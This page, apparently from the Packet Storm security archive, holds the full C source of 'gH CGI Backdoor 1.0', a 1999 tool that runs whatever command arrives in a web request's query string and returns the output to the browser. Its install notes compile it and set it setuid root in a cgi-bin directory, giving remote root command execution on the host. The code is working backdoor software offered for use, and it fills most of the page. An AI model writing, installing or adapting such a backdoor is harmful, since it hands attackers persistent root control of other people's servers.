global security disclosure

gH-cgi.c

gH-cgi.c
Posted May 1, 1999
Authored by Blasphemy

A simple cgi backdoor which pipes command output to the browser.

tags | tool, cgi, rootkit
systems | unix
MD5 | 2c0331f54922c1b1140e8992598fbb2f

gH-cgi.c

Change Mirror Download
/*
* gH CGI Backdoor 1.0
*
* Install:
* -------------------------------
* % gcc -o gH.cgi gH-cgi.c
* % chown root.root gH.cgi
* % chmod 4755 gH.cgi
* -------------------------------
* Tested with apache 1.3.4
*
* Note: place gH.cgi in a cgi-bin directory
*
* blasphemy (cornoil@netscape.net)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define TITLE "gH CGI Backdoor"

char x2c(char *what);
int header();
int footer();

int
main() {
FILE *out;
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
}
qs[x] = '\0';
for (x = 0; qs[x]; x++) {
if (qs[x] == '+') {
qs[x] = ' ';
}
}
header(qs);
out = popen(qs, "r");
if (out != NULL) {
while (c != EOF) {
c = fgetc(out);
if (c != EOF && c != '\0') {
printf("%c", (char) c);
f++;
}
}
pclose(out);
}
if (f == 0 && strcmp(qs, "") != 0)
printf("gH: %s: command not found\n", qs);
}
footer();
return(0);
}

char x2c(char *what)
{
register char digit;

digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
}

int
header(char *qs) {
printf("Content-type: text/html\n\n");
printf("<html>\n<head><title>%s</title></head>\n", TITLE);
printf("<body bgcolor=\"#ffffff\">\n");
printf("<dir><h1>%s</h1>\n", TITLE);
printf("<ISINDEX prompt=\"Command to Execute: \">\n");
printf("<br><b>Command output:</b> [<em>%s</em>]\n", qs);
printf("<br><pre>\n");
}

int
footer() {
printf("</pre>\n</dir>\n</body></html>\n");
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close